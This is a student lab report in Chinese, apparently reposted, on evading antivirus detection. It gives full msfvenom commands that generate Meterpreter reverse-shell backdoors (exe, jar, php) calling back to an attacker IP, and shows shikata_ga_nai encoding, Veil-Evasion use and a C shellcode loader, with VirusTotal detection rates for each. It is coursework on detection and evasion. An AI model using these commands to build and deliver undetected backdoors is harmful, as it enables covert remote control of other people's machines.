20232303 2025-2026-1 《网络与系统攻防技术》实验三实验报告

news/2025/10/27 22:54:01/文章来源:https://www.cnblogs.com/zhujiahe/p/19167537

20232303 2025-2026-1 《网络与系统攻防技术》实验三实验报告

1. 实验内容

本次实验的名称为免杀原理与实践,通过本部分内容的学习,能够掌握免杀原理与技术,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力。

具体实验内容如下:

  • 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
    • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
    • veil,加壳工具
    • 使用C + shellcode编程
  • 通过组合应用各种技术实现恶意代码免杀
  • 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2. 实验过程

2.1 环境准备

提前了解到本次实验需要硬盘容量较大,因而重新配置了一个较大硬盘的Kali虚拟机

image

对于免杀效果的评价,使用virustotal工具

VirusTotal是一家成立于2004年的免费在线安全服务,最初由西班牙安全公司Hispasec Sistemas创建,后于2012年被谷歌收购。它的核心功能是允许用户上传可疑的文件或提交网址链接,然后利用集成的多达70余种反病毒引擎和URL/域名黑名单服务进行协同扫描分析,从而帮助判断该内容是否携带病毒、木马等恶意软件。这种多引擎协作机制使其检测率优于单一杀毒软件,并能有效降低误判概率。不过,它主要基于用户提交进行扫描,无法提供实时系统防护,并且对上传的文件有容量限制(如30MB),因此不能完全替代本地安装的安全软件。

通过msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.177.44 PORT=443 -f exe > met20232303.exe直接生成meterpreter可执行文件

该命令基于Metasploit Framework(渗透测试框)的msfvenom工具,核心用途是生成一款针对Windows系统的恶意可执行文件后门,具体各参数含义如下:
msfvenom:Metasploit框架中用于生成恶意payload(攻击载荷)和编码的工具,可将payload封装为不同格式的文件(如 exe、dll 等)。
-p:指定使用的 payload(攻击载荷),即恶意代码的核心功能模块。
windows/meterpreter/reverse_tcp:针对 Windows 系统的 Meterpreter 反向 TCP 载荷。
Meterpreter:一种功能强大的 “交互式后门”,可实现远程控制(如查看文件、获取 shell、截屏、提权等)。
reverse_tcp:“反向连接” 模式 —— 目标主机(运行恶意 exe 的电脑)会主动向指定的 IP(LHOST)和端口(PORT)发起 TCP 连接,而非攻击者主动连接目标(可绕过部分防火墙对入站连接的限制)。
LHOST=172.16.177.44:指定攻击者的 IP 地址(即接收目标主机反向连接的主机 IP),此处为内网地址 172.16.177.44(说明攻击场景可能在局域网内)。
PORT=443:指定攻击者用于接收反向连接的端口,此处为 443(HTTPS 默认端口,常被用于伪装正常网络流量,降低被防火墙拦截的概率)。
-f exe:-f:指定生成文件的格式,此处为 exe(Windows 可执行文件),方便目标双击运行。
> met20232303.exe:重定向输出,将 msfvenom生成的恶意代码写入名为 met20232303.exe 的文件中。

image

将该文件放入virustotal对其评价,发现检出率为59/71,将这个比例作为免杀效果参考基准,查看后续的免杀效果。

image

2.2 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

2.2.1 使用msfvenom生成exe文件和编码的exe文件

通过msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=172.16.177.44 LPORT=443 -f exe > met-encoded20232303.exe生成exe文件

-e x86/shikata_ga_nai:指定对 payload 进行 “编码”,用于绕过目标系统的杀毒软件检测。
x86:针对 32 位 x86 架构的系统;shikata_ga_nai:Metasploit 中经典的 “多态编码器”,能通过动态生成不同的代码变体对 payload 进行混淆,降低被特征码检测的概率(但并非绝对免杀,现代杀毒软件仍可能识别)。
-b '\x00':指定 “坏字符”(bad character),要求生成的 payload 中不包含 \x00(即 ASCII 中的空字符)。空字符在部分程序(如 Windows 系统调用、缓冲区溢出场景)中会被视为 “字符串结束符”,若 payload 包含 \x00 可能导致 payload 执行失败,因此需排除。

image

得到的检出率为57/71,基本没变化。

image

再通过msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=172.16.177.44 LPORT=443 -f exe > met-10encoded20232303.exe进行10次编码生成exe文件

-i 10:指定编码迭代次数:将上述编码器重复应用 10 次,进一步增强代码混淆程度,提升免杀概率。

image

得到的检出率为57/72,基本没变化。

image

使用msfvenom及shikata_ga_nai等编码器进行免杀时效果未发生实质变化,核心原因在于杀毒软件厂商的针对性检测。一方面,编码器编码后生成的可执行文件中会包含用于解码的“decoder stub”代码段,操作系统厂商已识别这类解码代码的固定特征,即便多次编码也会被检测;另一方面,msfvenom生成可执行文件依赖固定模板,杀毒软件厂商已针对其常用默认模板生成特征码,使得传统更换模板的免杀方法失效。

2.2.2 使用msfvenom生成jar文件和编码的jar文件

通过msfvenom -p java/meterpreter/reverse_tcp LHOST=172.16.177.44 LPORT=443 x>metjar20232303.jar生成jar文件

该命令基于渗透测试工具 Metasploit Framework(MSF) 的 msfvenom 模块,核心用途是生成一个带有 Meterpreter 反向连接 payload 的 Java 恶意 jar 文件。
java/:Payload 运行环境为 Java(对应生成 Jar 文件)
x>可以利用输出文件后缀名隐式指定文件类型

image

得到的检出率为35/64

image

通过msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=172.16.177.44 LPORT=443 x>met-encoded-jar20232303.jar生成编码10次的jar文件。

image

得到的检出率仍为35/64

image

可以看出jar文件更难被杀毒软件识别。

1.文件结构与解析门槛更高。jar 文件是 Java 归档格式,本质是包含字节码(.class 文件)、配置文件等的压缩包,而非直接可执行的机器码。杀毒软件需先解压 jar 包,再对内部字节码进行反编译或动态分析,才能提取可能的恶意特征 —— 这个 “多层解析” 过程比直接扫描 exe(机器码)更复杂,部分杀软可能因解析效率或规则覆盖不足,漏过检测。
2.恶意特征更难标准化。Java 字节码的语法、函数调用逻辑相对灵活,且 jar 文件常包含正常 Java 程序的通用组件(如类库、依赖包),恶意代码可隐藏在正常代码中,混淆 “恶意特征” 与 “正常特征” 的边界。相比之下,exe 的机器码特征更易被杀毒软件收录为特征码,而 jar 的恶意字节码特征更难被统一标注和匹配。
3.实验数据反映检测覆盖差异。实验中,直接生成的 jar 文件检出率(35/64)远低于 exe 文件(59/71),且编码后检出率无明显上升 —— 这说明杀毒软件对 jar 文件的特征码库覆盖度较低,且针对 Java 恶意代码的启发式 / 行为检测规则不如针对 Windowsexe、脚本文件完善,导致 jar 文件更易规避检测。

2.2.3 使用msfvenom生成php文件和编码的php文件

通过msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.177.44 LPORT=443 x> metphp_20232303.php生成php文件。

image

得到的检出率为25/62

image

通过msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=172.16.177.44 LPORT=443 x> met_encoded10_php_20232303.php生成编码10次的php文件。

image

得到的检出率为8/62

image

两者检出率均显著低于此前exe文件,说明相比exe等格式,php恶意文件的特征更难被杀毒软件的特征码库或行为检测规则匹配,本身就具备一定 “难识别” 属性。实验中用x86/shikata_ga_nai编码10次后,php文件的检出率从25/62降至8/62,降幅明显。这是因为编码改变了php恶意代码的原始特征码,导致杀毒软件无法通过原有特征匹配识别其恶意性,说明对php文件进行编码能有效提升免杀效果。

2.3 使用veil-Evasion免杀工具

Veil-Evasion 是一款专为渗透测试和安全研究设计的开源框架,其主要功能是生成能够绕过常见防病毒软件检测的恶意负载(Payload)。它利用多种编码、加密和混淆技术(如动态代码生成)对负载进行处理,使其难以被基于静态签名的杀毒软件识别,并能与 Metasploit 等渗透测试框架无缝集成,生成可执行文件。

2.3.1 下载veil

使用sudo apt -y install veil下载veil

image

image

再用/usr/share/veil/config/setup.sh --force --silent使用veil自带的shell脚本配置好环境。

image

中间需要输一次密码,随后下载完成。

image

2.3.2 使用veil

输入use 1,选中列表中第一个模块——Evasion模块,进入该模块后才能进一步配置载荷、生成免杀文件。

Veil是专门用于生成免杀恶意代码的工具,其 “Evasion(躲避)模块” 是核心功能模块之一,主要用途是通过对攻击载荷(如 meterpreter)进行编码、混淆、伪装等处理,削弱或规避杀毒软件的检测,让生成的恶意代码更难被识别。

image

输入list,列出该模块支持的所有恶意代码载荷选项。

image

c/meterpreter/rev_tcp.py是第7个选项,所以输入use 7

image

输入set LHOST 192.168.140.130,配置反弹链接ip,该ip为攻击者的ip
输入set LPORT 443设置端口
输入generate开始生成
输入文件名

image

生成后可以看到文件所在位置为/var/lib/veil/output/compiled/

image

找到文件

image

检测其免杀效果

image

2.4 使用C + shellcode编程

通过msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.140.130 LPORT=443 -f c,利用metasploit框架中的msfvenom工具生成恶意代码载荷

LHOST=192.168.1.115:攻击者的 IP 地址,即meterpreter会话建立后,目标主机需要连接的IP
-f指定生成载荷的输出格式,c表示生成C语言源代码格式的shellcode,便于后续通过C语言编译工具将其编译为可执行文件,或嵌入到其他程序中实现隐藏。

image

把得到的shellcode数组用来编写一个程序

image

image

这个主函数定义了一个函数指针func,它通过强制类型转换将变量buf的地址(假设buf是一个存储机器代码的缓冲区)转换为一个无参数、返回int的函数指针,并直接调用该指针来执行buf中的代码

image

通过i686-w64-mingw32-g++ shellcode_c_20232303.c -o shellcode_c_20232303.exe对刚编写的程序进行编译,得到exe文件

该指令实现了在非 Windows 系统中,将包含恶意 Shellcode 的 C 语言源代码编译成 Windows 可执行程序
i686-w64-mingw32-g++:是跨平台编译器工具,属于 MinGW-w64 项目的一部分。其中 i686 指定编译目标为 32 位 x86 架构,w64-mingw32 表示针对 Windows 系统编译,g++ 是 GNU 的 C++ 编译器(此处也可处理 C 语言代码),作用是将 C 源码翻译成 Windows 能运行的机器码。

image

检测其免杀效果

image

3. 问题回答

3.1 杀软是如何检测出恶意代码的?

根据实验指导书中内容可知,有以下三种恶意软件检测机制:

3.1.1 基于特征码的检测

特征码的本质是杀毒软件识别恶意软件的“标记”,表现为一段或多段特定数据。这些数据可能是恶意程序中独特的代码片段、配置信息或标志性字节序列,比如某类病毒固定的启动代码、特定后门的指令片段。

杀毒软件工作时会扫描设备中的可执行文件、库、脚本等,若发现文件包含特征码库中的某段“标记数据”,就判定其为恶意代码。比如某勒索病毒有一段专属的加密初始化代码,杀毒软件只要检测到文件包含这段代码就会报警。

对于这种检测方法来说更新十分重要。恶意软件作者会不断修改代码以躲避检测,生成新的恶意程序版本,这些新版本的特征码会变化。杀毒软件厂商需持续搜集新恶意软件、提取新特征码并更新到特征码库中。若库过时,无法识别新恶意软件,杀毒软件自然失去防护作用。

3.1.2 启发式恶意软件检测

启发式检测是杀软在缺乏精确判定依据时的折中策略。它不依赖固定特征码比对,而是通过分析软件的片面特征,如行为、外观等,推断其是否为恶意软件,本质是基于经验和模式的概率性判断。

若一个软件的行为,例如如连接可疑网站、私自开放端口,还有“外观”,例如无正规厂商签名、文件结构异常,与已知恶意软件高度相似,即便没有该软件的专属特征码,也会判定其为恶意软件。

3.1.3基于行为的恶意软件检测

随着恶意软件技术升级,仅靠静态特征推断的启发式检测仍有不足,比如部分恶意软件静态特征伪装成正常软件。因此“基于行为的检测”被提出,它更聚焦软件运行时的动态行为,如主动连接可疑 IP、偷偷开放端口、驻留内存篡改进程等,本质是在启发式“多特征推断”的基础上,进一步加入了“实时行为监控”的维度。

从技术逻辑看,基于行为的检测并非完全独立于启发式,而是启发式检测的子集或增强版。启发式是通过特征推断风险的大框架,基于行为的检测则是这个框架下,专门以动态行为为核心特征的具体实现,相当于给启发式加上了实时监控运行动作的能力。

3.2 免杀是做什么?

免杀的核心是通过针对杀毒软件检测技术的各类方法,让安插的后门等恶意软件不被杀毒软件发现,鉴于常见恶意软件面对杀毒软件有2%-60%的规避概率,多试几种恶意软件也有一定概率逃过检测。

3.3 免杀的基本方法有哪些?

免杀的具体方式包括(1)改变特征码,例如仅有EXE文件时用加壳,有shellcode时用encode编码或基于payload重新编译,有源代码时用其他语言重写编译;(2)改变行为,例如通讯上用反弹式连接、隧道技术且加密数据,操作上基于内存操作、减少系统修改并加入混淆性正常代码;(3)非常规方法,例如用有漏洞应用当后门并将攻击代码集成到MSF、通过社工攻击诱骗目标关闭杀毒软件、纯手工或利用Metasploit 已有payload半手工打造恶意软件,其中驻留内存的payload如meterpreter也难被杀毒软件检出。除直接使用现有后门软件外,这些方式在实际中均有应用。

4. 问题及解决方案

4.1.1 问题一

在配置veil的时候我先以普通用户身份去进行配置,一开始一切正常

image

中间会出现很多error,但最后也会显示done

image

但当我输入veil时会让我重新下载

image

一直下载不成功。

4.1.2 问题一解决方案

用root用户进行下载配置

image

image

安装成功,问题解决。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/948156.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《程序员修炼之道》阅读笔记2

书里反复强调,程序员不能把学习停留在 “够用就好” 的层面,因为技术行业的迭代速度太快了 —— 今天课堂上教的热门框架,可能几年后就会被更高效的工具替代;现在觉得 “用不上” 的底层原理,说不定哪天就成了解决…

算法分析--分治--1.二分搜索

难题被逐层拆解,每一次的拆解都使它变得更为简单。分而治之揭示了一个重要的事实:从简单做起,一切都不再复杂。 1.1 分治算法 分治 是一种非常常见的算法策略。 分:将整个问题划分为多个小问题。 治:从小问题开始…

衡量模型生成图片质量的指标

FID 是生成图像和真实图像在特征空间中的分布距离。(越小越好)1.FID 假设生成图像和真实图像在特征空间的分布都是高斯分布,然后计算这两个高斯分布的距离。 CLIP是什么?(对比语言图像预训练)它有image Encoder …

代码大全2 第一章 与第二章

看《代码大全 2》前两章,感觉像被人点醒了似的,之前对编程的理解太浅了。第一章直接说透,软件构建根本不是光敲代码就行,它跟前期琢磨需求、设计框架,还有后期测试都绑在一起,做得好不好直接影响软件能不能用久、…

面试谈薪资指南:掌握主动权的关键策略

前言 作为前大厂的技术总监,我见到过非常多的谈薪资表现,90%以上都不合格。有的漫天要价,有的临时变卦,有的丧失主动权,被牵着鼻子走,甚至还有反问HR"这个岗位的薪资预算是多少",企图打听出来企业最高…

CF2018B

CF2018B Speedbreaker 被*1900狠狠杀掉了麻麻,S组即将来临我真的没救了。。。。 考虑无解的情况,对于每一个时间 \(t\),找到能够包含所有 \(a_i\) 满足 \(a_i\leq t\) 的区间 \([l_t,r_t]\),意思就是在 \(t\) 的时…

10/27

太难了,要搭建一个真正的项目了,昨天英语作业系统故障没交上,下次交早点

第7天(中等题 滑动窗口)

打卡第七天 2道中等题class Solution { public:int equalSubstring(string s, string t, int maxCost) {int n = s.length();vector<int> diff(n, 0);//创建数组存储s和t对应位置字符的ASCII码差值for (int i = …

C++ 获取 const char* 字符串长度

C++ 获取 const char* 字符串长度C++ 获取 const char* 字符串长度 获取字符串长度的方法有哪些。 strlen strlen.c 源码如下 size_t strlen(const char *str) {const char *s;for (s = str; *s; ++s);return (s - str…

20251027——读后感2

面对多变的需求,可先做可丢弃的原型。比如要开发一个新的电商APP,先快速做个包含核心功能的简易原型,让用户试用后反馈,再基于此开发正式系统,避免在错误需求上浪费时间,就像盖房子先搭个简易框架看结构是否合理…

window[-INPUT-] 还有哪些属性或方法

在PySimpleGUI中,除了.update()方法外,window["-INPUT-"]等元素对象还支持以下属性和方法,按功能分类整理如下: 核心方法.get()功能:获取元素的当前值(如输入框内容、下拉菜单选中项等)。 示例:inpu…

DeepSeek-DSA讲解

1. MQA: Multi-Query Attention 多查询注意力机制 (MQA) 是 Transformer 中使用的传统多头自注意力机制(MHA)的一种变体。在传统的多头注意力机制中,每个注意力头都使用自己的一组查询、键和值,这可能需要大量计算,…

【转载】‘tensorrt.tensorrt.Builder‘ object has no attribute ‘build_cuda_engine‘

【转载】‘tensorrt.tensorrt.Builder‘ object has no attribute ‘build_cuda_engine‘问题简述: AttributeError: tensorrt.tensorrt.Builder object has no attribute build_cuda_engine 原因: tensorrt版本大于…

C#/.NET/.NET Core技术前沿周刊 | 第 59 期(2025年10.20-10.26)

前言 C#/.NET/.NET Core技术前沿周刊,你的每周技术指南针!记录、追踪C#/.NET/.NET Core领域、生态的每周最新、最实用、最有价值的技术文章、社区动态、优质项目和学习资源等。让你时刻站在技术前沿,助力技术成长与…

Python write to file and read from file

import uuid import datetime import timedef get_uuid_time():return (f"{uuid.uuid4().hex}_____{datetime.datetime.now().strftime("%Y%m%d%H%M%S%f")}")def get_time():return (f"{date…

Experiment3

Task1 #include <stdio.h> char score_to_grade(int score); // 函数声明 int main() {int score;char grade;while(scanf("%d", &score) != EOF) {grade = score_to_grade(score); // 函数调用pr…

20232403 2025-2026-1 《网络与系统攻防技术》实验三实验报告

20232403 2025-2026-1 《网络与系统攻防技术》实验三实验报告 1.实验内容 根据本周所学回答问题: (1)杀软是如何检测出恶意代码的? 杀软检测恶意代码的核心逻辑是通过 “识别恶意特征或行为”,将恶意代码的特征值…

CF995F Cowmpany Cowmpensation

给定一棵以 \(1\) 为根的 \(n\) 个节点的树,第 \(i\) 个点的父亲为 \(p_i\)。你需要给第 \(i\) 个节点赋予一个整数点权 \(a_i\),需要满足下面的性质:\(\forall i \in [1,n],a_i \in [1,D]\)。\(\forall i \in [2,n…

背诵

可能是到了中年期了,总是会盯着一个地方发呆陷入沉思,或许这就是成熟吧我家猫会后空翻,跟我回家瞧瞧吧